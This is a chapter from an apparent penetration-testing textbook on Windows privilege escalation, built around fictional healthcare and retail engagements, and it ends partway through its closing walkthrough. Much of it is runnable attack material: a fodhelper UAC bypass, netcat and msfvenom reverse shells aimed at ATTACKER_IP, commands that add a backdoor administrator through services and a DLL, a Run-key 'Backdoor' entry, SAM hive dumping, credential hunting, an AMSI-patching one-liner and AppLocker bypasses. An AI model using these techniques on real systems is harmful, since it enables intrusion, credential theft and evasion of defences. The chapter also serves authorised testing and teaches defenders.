> "Windows privilege escalation is less about finding that one clever trick and more about understanding the intricate web of services, tokens, policies, and configurations that make up the Windows security model. Know the model, and the flaws...
Learning Objectives
- Understand the Windows security architecture and access control model
- Enumerate Windows systems for privilege escalation vectors
- Exploit token impersonation and privilege abuse
- Identify and exploit service misconfigurations and unquoted paths
- Perform registry and DLL hijacking attacks
- Leverage modern CVEs for Windows privilege escalation
- Use automated enumeration tools (WinPEAS, PowerUp, Seatbelt)
In This Chapter
- Introduction
- 16.1 Windows Security Architecture
- 16.2 Windows Enumeration
- 16.3 Token Impersonation and Privilege Abuse
- 16.4 Service Misconfigurations
- 16.5 Registry and DLL Hijacking
- 16.6 Modern Windows CVEs
- 16.7 Automated Enumeration Tools
- 16.8 Privilege Escalation Methodology for Windows
- 16.9 Bypassing Defenses
- 16.10 Combining Techniques: A Complete Walkthrough
- Summary
- Key Terms
Chapter 16: Windows Exploitation and Privilege Escalation
"Windows privilege escalation is less about finding that one clever trick and more about understanding the intricate web of services, tokens, policies, and configurations that make up the Windows security model. Know the model, and the flaws reveal themselves." --- A Red Team Lead's Advice to Junior Operators
Introduction
Windows dominates the enterprise landscape. Over 75% of enterprise desktops and a significant portion of servers run Windows, making it the operating system you will encounter most frequently during penetration tests. Your ability to escalate privileges on Windows systems directly determines whether you can demonstrate meaningful business impact to your clients.
In the previous chapter, we explored Linux privilege escalation, where the attack surface revolves around file permissions, SUID binaries, and kernel exploits. Windows presents an entirely different---and in many ways richer---privilege escalation landscape. The Windows security model includes access tokens, security descriptors, service configurations, the registry, Group Policy, and a complex privilege system that creates abundant opportunities for escalation when misconfigurations exist.
Consider the MedSecure Health Systems engagement. Your team has compromised a domain-joined workstation through a phishing attack, gaining a shell as a standard user. The Electronic Health Records (EHR) application runs on a Windows Server 2019 backend. To demonstrate the full attack chain---from phishing email to patient data exposure---you must escalate from a standard domain user to local administrator, and ultimately to domain administrator (covered in Chapter 17). This chapter focuses on that first critical leap: from standard user to local administrator.
We will cover the Windows security architecture, systematic enumeration techniques, token impersonation, service misconfigurations, registry abuse, DLL hijacking, and modern CVEs that have reshaped the Windows threat landscape. By the end of this chapter, you will have a battle-tested methodology for Windows privilege escalation.
⚖️ Legal Note: All techniques in this chapter are for authorized penetration testing only. Exploiting Windows systems without explicit written authorization violates the Computer Fraud and Abuse Act (US), the Computer Misuse Act (UK), and equivalent laws globally. Always operate under a signed scope document.
16.1 Windows Security Architecture
Understanding the Windows security model is essential before attempting to subvert it. Windows uses a fundamentally different approach to security than Linux, built around tokens, Security Identifiers (SIDs), and Access Control Lists (ACLs).
16.1.1 Security Identifiers (SIDs)
Every security principal in Windows---users, groups, computers---is identified by a unique SID. SIDs follow a structured format:
S-1-5-21-3623811015-3361044348-30300820-1013
│ │ │ │ │
│ │ │ └── Sub-authorities (domain RID) └── Relative ID (user)
│ │ └── Identifier Authority (NT Authority)
│ └── Revision
└── SID prefix
Well-Known SIDs:
| SID | Identity |
|---|---|
| S-1-5-18 | Local System (NT AUTHORITY\SYSTEM) |
| S-1-5-19 | Local Service (NT AUTHORITY\LOCAL SERVICE) |
| S-1-5-20 | Network Service (NT AUTHORITY\NETWORK SERVICE) |
| S-1-5-32-544 | Administrators group |
| S-1-5-32-545 | Users group |
| S-1-5-21-domain-500 | Domain Administrator |
| S-1-5-21-domain-512 | Domain Admins group |
16.1.2 Access Tokens
When a user logs in, Windows creates an access token that contains the user's SID, group memberships, and privileges. Every process the user starts receives a copy of this token. When a process accesses a resource, Windows compares the process's token against the resource's security descriptor.
There are two types of tokens:
- Primary Token: Assigned to a process at creation. Contains the security context of the user account associated with the process.
- Impersonation Token: Allows a thread to temporarily adopt a different security context. Critical for service accounts that need to act on behalf of connected clients.
Impersonation Levels:
| Level | Description | Exploitation Potential |
|---|---|---|
| SecurityAnonymous | Cannot identify or impersonate | None |
| SecurityIdentification | Can identify but not impersonate | Limited |
| SecurityImpersonation | Can impersonate on local system | High |
| SecurityDelegation | Can impersonate on remote systems | Critical |
16.1.3 Windows Privileges
Windows defines granular privileges that can be assigned to users and groups. Several privileges are directly exploitable for escalation:
| Privilege | Description | Exploitation |
|---|---|---|
| SeImpersonatePrivilege | Impersonate a client after authentication | Potato attacks |
| SeAssignPrimaryTokenPrivilege | Replace a process-level token | Token manipulation |
| SeBackupPrivilege | Read any file bypassing ACLs | Read SAM/SYSTEM |
| SeRestorePrivilege | Write any file bypassing ACLs | Write to protected locations |
| SeDebugPrivilege | Debug any process | Inject into SYSTEM processes |
| SeTakeOwnershipPrivilege | Take ownership of any object | Take ownership of any file |
| SeLoadDriverPrivilege | Load kernel drivers | Load malicious driver |
| SeManageVolumePrivilege | Manage volumes | Arbitrary file access |
# Check current privileges
whoami /priv
# Example output showing exploitable privileges:
# Privilege Name Description State
# ============================= ============================== ========
# SeImpersonatePrivilege Impersonate a client Enabled
# SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
16.1.4 User Account Control (UAC)
UAC is a security mechanism that prevents unauthorized changes to the operating system. Even administrators run with a filtered token by default, and UAC prompts for elevation when administrative actions are required.
UAC Bypass Techniques:
UAC can be bypassed through several methods when you have an administrator account but need to bypass the filtered token:
# Check UAC settings
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
# Key values:
# EnableLUA = 1 (UAC enabled)
# ConsentPromptBehaviorAdmin = 0-5 (admin prompt behavior)
# 0 = Elevate without prompting (like UAC disabled)
# 5 = Prompt for consent on secure desktop (default)
# Common UAC bypass: fodhelper.exe
# This auto-elevates without prompting
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe
# Cleanup
reg delete HKCU\Software\Classes\ms-settings\Shell /f
16.1.5 Windows Integrity Levels
Windows implements Mandatory Integrity Control (MIC) with four integrity levels:
- Low: Restricted processes (Internet Explorer Protected Mode)
- Medium: Standard user processes
- High: Elevated administrator processes
- System: Operating system processes
# Check your integrity level
whoami /groups | findstr "Mandatory"
# Medium Mandatory Level = standard user
# High Mandatory Level = elevated admin
# Check process integrity level
# In PowerShell:
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups |
Where-Object { $_.Value -like "S-1-16-*" } |
ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]) }
🔵 Blue Team Perspective: Enforce UAC at the highest level (AlwaysNotify) on all workstations. Implement Credential Guard to protect LSASS. Use Protected Users security group for administrative accounts to prevent credential caching. Enable LSA Protection (RunAsPPL) on all systems.
16.2 Windows Enumeration
Thorough enumeration is the foundation of Windows privilege escalation. We systematically gather information across multiple categories.
16.2.1 System Information
# Operating system details
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
# Hostname and domain
hostname
echo %USERDOMAIN%
# Architecture
wmic os get osarchitecture
# Installed patches (critical for exploit selection)
wmic qfe list brief
wmic qfe get HotfixID,InstalledOn
# PowerShell version
$PSVersionTable
16.2.2 User and Group Enumeration
# Current user details
whoami
whoami /all # SID, groups, privileges - CRITICAL command
whoami /priv # Privileges only
# Local users
net user
Get-LocalUser
# Specific user details
net user administrator
net user <username>
# Local groups
net localgroup
Get-LocalGroup
# Administrators group members
net localgroup administrators
Get-LocalGroupMember -Group "Administrators"
# Domain users (if domain-joined)
net user /domain
net group "Domain Admins" /domain
16.2.3 Network Enumeration
# Network configuration
ipconfig /all
# Routing table
route print
# ARP cache
arp -a
# Listening ports and connections
netstat -ano
netstat -ano | findstr "LISTENING"
# Firewall status
netsh firewall show state
netsh advfirewall show allprofiles
# Network shares
net share
# DNS cache
ipconfig /displaydns
16.2.4 Service Enumeration
# List all services
sc query state= all
Get-Service
# Detailed service information
wmic service list full
wmic service get name,displayname,pathname,startmode
# Find unquoted service paths (privesc vector)
wmic service get name,displayname,pathname,startmode |
findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# PowerShell alternative
Get-WmiObject Win32_Service | Where-Object {
$_.PathName -notmatch '^"' -and
$_.PathName -match ' ' -and
$_.PathName -notmatch 'C:\\Windows'
} | Select-Object Name, PathName, StartMode
16.2.5 Scheduled Tasks and Startup Programs
# Scheduled tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"}
# Startup programs
wmic startup list full
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# AutoRun programs
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location
16.2.6 Credential Hunting
# Saved credentials
cmdkey /list
# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clear
# Unattend files (may contain plaintext passwords)
dir /s /b C:\unattend.xml C:\sysprep.inf C:\sysprep\sysprep.xml 2>nul
dir /s /b C:\Windows\Panther\unattend.xml 2>nul
# PowerShell history
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# IIS configuration (may contain connection strings)
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul
# Registry credentials
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# SAM and SYSTEM backup files
dir /s /b C:\Windows\repair\SAM C:\Windows\repair\SYSTEM 2>nul
dir /s /b C:\Windows\System32\config\RegBack\SAM 2>nul
🔵 Blue Team Perspective: Clear PowerShell history regularly on sensitive systems. Remove unattend files after deployment. Avoid storing passwords in registry keys. Use Windows Credential Guard to protect cached credentials. Implement LAPS (Local Administrator Password Solution) to randomize local admin passwords across the domain.
16.3 Token Impersonation and Privilege Abuse
Token impersonation is one of the most reliable Windows privilege escalation techniques, especially when you have access as a service account.
16.3.1 Understanding the Attack
When a Windows service runs as a service account (LOCAL SERVICE, NETWORK SERVICE, or a specific service account), it often has SeImpersonatePrivilege. This privilege allows the process to impersonate any client that connects to it. The "Potato" family of exploits leverages this by coercing a SYSTEM-level service to authenticate to an attacker-controlled listener, then impersonating the resulting token.
16.3.2 The Potato Family
The evolution of Potato attacks demonstrates how Windows privilege escalation research progresses:
Hot Potato (2016): Exploited NBNS spoofing and WPAD proxy abuse to obtain SYSTEM tokens. Used NBNS spoofing to redirect Windows Update requests through a local proxy.
Juicy Potato (2018): Exploited COM servers to trigger SYSTEM authentication. Worked on Windows Server 2008-2016 and Windows 7-10. Required SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.
# JuicyPotato usage
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami > c:\temp\whoami.txt" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
RoguePotato (2020): Updated technique for newer Windows versions where Juicy Potato CLSID abuse was patched.
PrintSpoofer (2020): Leveraged the Print Spooler service's named pipe to impersonate SYSTEM. Simpler and more reliable than Potato attacks.
# PrintSpoofer usage
PrintSpoofer.exe -i -c cmd
# Or execute a reverse shell
PrintSpoofer.exe -c "c:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
GodPotato (2023): Works on Windows Server 2012-2022 and Windows 8-11. Exploits the DCOM/RPCSS mechanism.
# GodPotato usage
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "cmd /c net user hacker Password123! /add && net localgroup administrators hacker /add"
16.3.3 When to Use Token Impersonation
Token impersonation works when:
- You have a shell as a service account (IIS, MSSQL, etc.)
- The account has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
- You can write an executable to disk or execute from memory
# Check if token impersonation is viable
whoami /priv | findstr "SeImpersonate SeAssignPrimaryToken"
16.3.4 SeDebugPrivilege Exploitation
If you have SeDebugPrivilege (common for administrators), you can inject code into any process, including SYSTEM-level processes:
# Using Meterpreter
meterpreter > ps
# Find a SYSTEM process (e.g., lsass.exe, winlogon.exe)
meterpreter > migrate 672 # Migrate to SYSTEM process
meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
# Manual approach using process injection
# Inject shellcode into a SYSTEM process
16.3.5 SeBackupPrivilege and SeRestorePrivilege
These privileges allow reading and writing any file, regardless of ACLs:
# With SeBackupPrivilege, extract SAM and SYSTEM hives
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Transfer to attacker machine and extract hashes
# On Kali:
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
🔵 Blue Team Perspective: Review which accounts have
SeImpersonatePrivilegeand other dangerous privileges. Service accounts should follow the principle of least privilege. Use Group Managed Service Accounts (gMSAs) instead of traditional service accounts to reduce credential exposure. Monitor for Potato-style attacks by detecting suspicious COM object interactions and named pipe creation.
16.4 Service Misconfigurations
Windows services are a rich source of privilege escalation opportunities. Services often run as SYSTEM, and misconfigurations in their setup can be exploited by unprivileged users.
16.4.1 Unquoted Service Paths
When a service binary path contains spaces and is not enclosed in quotes, Windows attempts to resolve the path ambiguously. This creates an opportunity to place a malicious executable in the search path.
# Vulnerable path:
C:\Program Files\My App\Service Folder\service.exe
# Windows tries these paths in order:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My App\Service.exe
C:\Program Files\My App\Service Folder\service.exe
# If we can write to C:\Program Files\My App\,
# we place Service.exe (our payload) there
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# Using PowerUp
Get-ServiceUnquoted
# Verify write permissions on path components
icacls "C:\Program Files\My App"
# Look for (M), (W), or (F) for your user/group
# Exploit:
# 1. Create payload
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > Service.exe
# 2. Place in path
copy Service.exe "C:\Program Files\My App\Service.exe"
# 3. Restart service (if you have permission)
sc stop VulnerableService
sc start VulnerableService
# Or wait for system reboot if service is set to auto-start
16.4.2 Weak Service Permissions
If you can modify a service's configuration, you can change its binary path to point to your payload:
# Check service permissions
sc sdshow VulnerableService
# Or use accesschk from Sysinternals
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
# Look for SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS
# Using PowerUp
Get-ModifiableService
# Exploit:
# Change service binary path
sc config VulnerableService binpath= "C:\temp\reverse-shell.exe"
# Or add a new admin user
sc config VulnerableService binpath= "cmd /c net user hacker Password123! /add && net localgroup administrators hacker /add"
# Restart service
sc stop VulnerableService
sc start VulnerableService
# Note: The service will "fail" since our command isn't a valid service binary
# But the command executes as SYSTEM before failing
16.4.3 Weak Service Binary Permissions
If the actual service executable is writable by your user:
# Check permissions on service binaries
icacls "C:\Program Files\VulnApp\service.exe"
# If writable:
# 1. Backup original
copy "C:\Program Files\VulnApp\service.exe" "C:\temp\service.exe.bak"
# 2. Replace with payload
copy /y reverse-shell.exe "C:\Program Files\VulnApp\service.exe"
# 3. Restart service
sc stop VulnerableService
sc start VulnerableService
# 4. After exploitation, restore original
copy /y "C:\temp\service.exe.bak" "C:\Program Files\VulnApp\service.exe"
16.4.4 Service Account Enumeration
# Find services running as SYSTEM
wmic service get name,startname | findstr /i "LocalSystem"
# Find services with auto start
wmic service get name,startmode | findstr /i "auto"
# Services running as specific users (potential credential exposure)
wmic service get name,startname | findstr /i /v "LocalSystem\|localService\|networkService"
MedSecure Scenario: On the MedSecure workstation, your enumeration reveals a healthcare monitoring agent with an unquoted service path:
MedSecure Health Monitor C:\Program Files\MedSecure\Health Monitor\agent.exe Auto
The C:\Program Files\MedSecure\ directory is writable by authenticated users (a common installation mistake). You place Health.exe in C:\Program Files\MedSecure\Health.exe and wait for the nightly maintenance reboot. When the system restarts, the service starts your payload as SYSTEM.
🔵 Blue Team Perspective: Audit all service paths for quoting issues. Use
sc qcto verify each service's configuration. Implement strict file system permissions---standard users should never have write access to Program Files directories. Monitor for service configuration changes using Windows Event Log (Event ID 7045 for new service installation, 7040 for service configuration change).
16.5 Registry and DLL Hijacking
The Windows Registry and DLL loading mechanisms provide additional privilege escalation vectors.
16.5.1 AlwaysInstallElevated
If the AlwaysInstallElevated registry key is set in both HKLM and HKCU, any user can install MSI packages with SYSTEM privileges:
# Check the registry keys
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both return 0x1 (enabled), exploit:
# Generate malicious MSI
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi > malicious.msi
# Install with elevated privileges
msiexec /quiet /qn /i malicious.msi
16.5.2 Autorun Registry Keys
Programs listed in autorun registry keys execute when a user logs in. If you can modify these keys or the binaries they reference:
# Check autorun keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# Check permissions on referenced binaries
# If writable, replace with payload
# Or add your own entry (requires registry write access)
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\temp\payload.exe"
16.5.3 DLL Hijacking
Windows searches for DLLs in a specific order. If an application loads a DLL from a writable location, you can place a malicious DLL there:
Standard DLL Search Order: 1. The directory from which the application loaded 2. The system directory (C:\Windows\System32) 3. The 16-bit system directory (C:\Windows\System) 4. The Windows directory (C:\Windows) 5. The current directory 6. Directories in the PATH environment variable
# Find DLL hijacking opportunities using Process Monitor (ProcMon)
# Filter for: Operation=CreateFile, Result=NAME NOT FOUND, Path ends with .dll
# Common hijackable DLLs:
# wlbsctrl.dll - loaded by IKEEXT service
# wgatray.dll - loaded by various services
# TSMSISrv.dll - loaded by SessionEnv service
Creating a Malicious DLL:
// hijack.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Execute payload
system("cmd.exe /c net user hacker Password123! /add");
system("cmd.exe /c net localgroup administrators hacker /add");
}
return TRUE;
}
# Cross-compile on Kali
x86_64-w64-mingw32-gcc hijack.c -shared -o hijack.dll
16.5.4 DLL Search Order Hijacking in Services
# Find services loading DLLs from non-standard locations
# Use Process Monitor to identify DLL loading patterns
# Common vulnerable service: IKEEXT (IKE and AuthIP IPsec Keying Modules)
# Loads wlbsctrl.dll which doesn't exist by default
# Service runs as SYSTEM
# If C:\Windows\System32 is not writable (it shouldn't be),
# check if PATH includes writable directories
echo %PATH%
# If C:\Python27 or similar writable directory is in PATH:
copy malicious.dll C:\Python27\wlbsctrl.dll
# Then trigger service restart
16.5.5 Phantom DLL Hijacking
Some Windows features try to load DLLs that simply do not exist on the system. If you can determine which directories are searched and which are writable:
# Example: The IKEEXT service tries to load wlbsctrl.dll
# Check if the service is running
sc query IKEEXT
# If it's in a start-pending state and the DLL doesn't exist:
# Place your DLL in C:\Windows\System32\ (requires write access)
# Or in a writable PATH directory
🔵 Blue Team Perspective: Disable
AlwaysInstallElevatedvia Group Policy. Audit autorun registry keys regularly. Implement application whitelisting (Windows Defender Application Control / AppLocker) to prevent unauthorized DLL loading. Monitor for suspicious DLL creation in system directories. Keep the system PATH clean---remove writable directories.
16.6 Modern Windows CVEs
The Windows CVE landscape evolves rapidly. Understanding recent high-impact vulnerabilities is essential for both exploitation and defense.
16.6.1 PrintNightmare (CVE-2021-34527)
PrintNightmare was a critical vulnerability in the Windows Print Spooler service that allowed remote code execution and local privilege escalation. The Print Spooler service runs as SYSTEM on virtually every Windows system.
The Vulnerability: The Print Spooler improperly handled privileged file operations when installing printer drivers, allowing an authenticated user to load arbitrary DLLs with SYSTEM privileges.
# Check if Print Spooler is running
Get-Service Spooler
# Check if the system is vulnerable
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint"
# Exploitation (local privilege escalation variant)
# Using SharpPrintNightmare
SharpPrintNightmare.exe "C:\temp\malicious.dll"
# Using PowerShell PoC (for authorized testing)
# The DLL executes as SYSTEM when the Spooler loads it
16.6.2 HiveNightmare / SeriousSAM (CVE-2021-36934)
This vulnerability allowed any standard user to read the SAM, SYSTEM, and SECURITY registry hives through Volume Shadow Copies. These hives contain password hashes for local accounts.
# Check if vulnerable - can standard user read SAM?
icacls C:\Windows\System32\config\SAM
# If BUILTIN\Users has (I)(RX), the system is vulnerable
# Exploit using Volume Shadow Copy
# Check for existing shadow copies
vssadmin list shadows
# Copy SAM and SYSTEM from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Or use the dedicated tool
HiveNightmare.exe
# Extract hashes on attacker machine
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
16.6.3 KrbRelayUp
KrbRelayUp combines Kerberos relay and RBCD to escalate from domain user to local SYSTEM on domain-joined machines:
# KrbRelayUp automates the attack chain
KrbRelayUp.exe relay -Domain medsecure.local -CreateNewComputerAccount -ComputerName FAKEPC$ -ComputerPassword "Password123!"
KrbRelayUp.exe spawn -m rbcd -d medsecure.local -dc dc01.medsecure.local -cn FAKEPC$ -cp "Password123!"
16.6.4 SpoolFool (CVE-2022-21999)
Another Print Spooler vulnerability allowing local privilege escalation by abusing the printer driver installation process:
# SpoolFool exploitation
SpoolFool.exe -dll malicious.dll
16.6.5 CVE-2023-28252 (CLFS Driver)
A vulnerability in the Windows Common Log File System (CLFS) driver allowing local privilege escalation. Actively exploited in the wild before patching.
16.6.6 Keeping Current with Windows CVEs
# Check installed patches to identify missing ones
wmic qfe list brief
systeminfo | findstr /B "KB"
# Use Windows Exploit Suggester
# On attacker machine:
python windows-exploit-suggester.py --database 2024-01-15-mssb.xls --systeminfo sysinfo.txt
# Or use wesng (Windows Exploit Suggester - Next Generation)
python wes.py sysinfo.txt
🔵 Blue Team Perspective: Patch management is critical. Prioritize patches for SYSTEM-level services. Disable the Print Spooler service on systems that do not need printing (especially servers and domain controllers). Implement Windows Defender Exploit Guard to mitigate exploitation of known vulnerability classes. Subscribe to Microsoft Security Response Center (MSRC) bulletins.
16.7 Automated Enumeration Tools
Just as LinPEAS is essential for Linux, the Windows ecosystem has powerful automated enumeration tools.
16.7.1 WinPEAS
WinPEAS (Windows Privilege Escalation Awesome Script) is the Windows counterpart to LinPEAS:
# Transfer and run WinPEAS
# Executable version
.\winPEASx64.exe
# Batch version (if .exe is blocked)
.\winPEAS.bat
# Specific checks
.\winPEASx64.exe quiet servicesinfo
# Run with full output
.\winPEASx64.exe log
# Color coding (same as LinPEAS):
# Red/Yellow: Almost certain PE vector
# Red: Highly likely PE vector
# Cyan: Useful for exploitation
# Green: Interesting information
What WinPEAS Checks: - System information and patch level - User and group enumeration - Token privileges - Service configurations (unquoted paths, weak permissions) - Scheduled tasks - Network information - Installed software - Registry autorun keys - Credential files and history - Interesting files (configs, backups) - Windows Defender and AV status
16.7.2 PowerUp (PowerSploit)
PowerUp is a PowerShell script that automates the detection of common Windows privilege escalation vectors:
# Import PowerUp
Import-Module .\PowerUp.ps1
# Run all checks
Invoke-AllChecks
# Specific checks
Get-ServiceUnquoted # Unquoted service paths
Get-ModifiableServiceFile # Writable service binaries
Get-ModifiableService # Modifiable service configurations
Get-RegistryAutoLogon # AutoLogon credentials
Get-UnattendedInstallFile # Unattended install files
Get-RegistryAlwaysInstallElevated # AlwaysInstallElevated check
# Automated exploitation
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'hacker' -Password 'Password123!'
Write-ServiceBinary -Name 'VulnerableService' -Path 'C:\temp\payload.exe'
16.7.3 Seatbelt
Seatbelt is a C# tool by GhostPack that performs comprehensive security-focused host enumeration:
# Run all checks
.\Seatbelt.exe -group=all
# Run specific check groups
.\Seatbelt.exe -group=user # User-level checks
.\Seatbelt.exe -group=system # System-level checks
.\Seatbelt.exe -group=misc # Miscellaneous checks
# Specific modules
.\Seatbelt.exe TokenPrivileges
.\Seatbelt.exe InterestingFiles
.\Seatbelt.exe CredEnum
.\Seatbelt.exe WindowsAutoLogon
.\Seatbelt.exe MappedDrives
16.7.4 SharpUp
SharpUp is the C# port of PowerUp, useful when PowerShell is restricted:
# Run all checks
.\SharpUp.exe audit
# Specific checks
.\SharpUp.exe HijackablePaths
.\SharpUp.exe ModifiableServiceBinaries
.\SharpUp.exe ModifiableServices
.\SharpUp.exe UnquotedServicePath
16.7.5 BeRoot
# BeRoot checks for common privesc vectors
.\beRoot.exe
16.7.6 Windows Exploit Suggester
# On attacker machine
# First, get systeminfo output from target
systeminfo > sysinfo.txt
# Using wesng (recommended)
python wes.py sysinfo.txt --impact "Elevation of Privilege" --exploits-only
# Using the original windows-exploit-suggester
python windows-exploit-suggester.py --database 2024-01-15-mssb.xls --systeminfo sysinfo.txt
ShopStack Scenario: During the ShopStack engagement, running WinPEAS on their payment processing server reveals:
════════════════════════════════════╗
║ Services Information ║
╚════════════════════════════════════╝
[!] Unquoted Service Path
ShopStack Payment Processor
C:\Program Files\ShopStack\Payment Service\processor.exe
StartMode: Auto
StartName: LocalSystem
[!] Modifiable Service Binary
ShopStack Inventory Sync
C:\ShopStack\bin\inventory.exe
Permissions: Everyone [AllAccess]
════════════════════════════════════╗
║ Token Privileges ║
╚════════════════════════════════════╝
[!] SeImpersonatePrivilege is enabled
User: NT SERVICE\MSSQLSERVER
Three vectors identified: an unquoted service path, a world-writable service binary, and SeImpersonatePrivilege on the SQL Server service account. Any of these provides a path to SYSTEM.
16.8 Privilege Escalation Methodology for Windows
Step 1: Situational Awareness (30 seconds)
whoami /all
hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Step 2: Quick Wins (1-2 minutes)
# Check privileges
whoami /priv | findstr "SeImpersonate SeAssignPrimaryToken SeDebug SeBackup SeRestore"
# Check for stored credentials
cmdkey /list
# Check AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows" | findstr /i /v """
Step 3: Automated Enumeration (5-10 minutes)
# Run WinPEAS
.\winPEASx64.exe quiet
# Run PowerUp
Import-Module .\PowerUp.ps1; Invoke-AllChecks
# Run Seatbelt
.\Seatbelt.exe -group=all
Step 4: Deep Manual Enumeration (15-30 minutes)
- Review all services and their configurations
- Check scheduled tasks running as SYSTEM
- Examine installed software for known vulnerabilities
- Hunt for credentials in files and registry
- Check for writable directories in PATH
- Analyze network services for additional attack surface
Step 5: Exploitation
- Prioritize by reliability and stealth
- Token impersonation (if SeImpersonate is available) is fast and reliable
- Service misconfigurations are stable and well-understood
- Kernel exploits as last resort
Step 6: Verification and Documentation
# Verify SYSTEM access
whoami
# nt authority\system
# Capture proof
type C:\Users\Administrator\Desktop\proof.txt
ipconfig /all
16.9 Bypassing Defenses
16.9.1 AMSI Bypass
The Antimalware Scan Interface (AMSI) inspects PowerShell scripts, VBScript, and JScript before execution:
# Common AMSI bypass techniques (for authorized testing)
# Technique 1: Patching AmsiScanBuffer
$a=[Ref].Assembly.GetTypes();ForEach($b in $a){if ($b.Name -like "*iUtils"){$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d){if ($e.Name -like "*Context"){$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
# Technique 2: Obfuscation
# Rename cmdlets and variables to avoid signature detection
16.9.2 AppLocker and WDAC Bypass
# Check AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Common bypass paths (often whitelisted)
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
# InstallUtil bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
# MSBuild bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
16.9.3 Windows Defender Evasion
# Check Defender status
Get-MpComputerStatus
# Check exclusions (if accessible)
Get-MpPreference | Select-Object ExclusionPath, ExclusionExtension, ExclusionProcess
# Defender may have exclusions for specific directories
# Commonly excluded in enterprise: backup directories, database paths
🔵 Blue Team Perspective: Enable AMSI logging (Event ID 1116 in Microsoft-Windows-Windows Defender/Operational). Implement strict AppLocker/WDAC policies that do not whitelist entire directories. Configure Credential Guard, ASR rules, and network protection. Use Microsoft Defender for Endpoint (MDE) for advanced threat detection. Enable PowerShell script block logging and module logging.
16.10 Combining Techniques: A Complete Walkthrough
Let us walk through a complete Windows privilege escalation on a MedSecure Health Systems workstation.
Initial Access: Reverse shell as medsecure\j.smith via macro-enabled document.
# Step 1: Situational Awareness
C:\Users\j.smith> whoami /all
USER INFORMATION
User Name SID
=============== =============================================
medsecure\j.smith S-1-5-21-3623811015-3361044348-30300820-1107
GROUP INFORMATION
MEDSECURE\Domain Users
BUILTIN\Users
PRIVILEGES INFORMATION
SeShutdownPrivilege
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
# No exploitable privileges. Standard domain user.
# Step 2: Check for quick wins
C:\Users\j.smith> cmdkey /list
Target: Domain:target=TERMSRV/medsecure-ehr
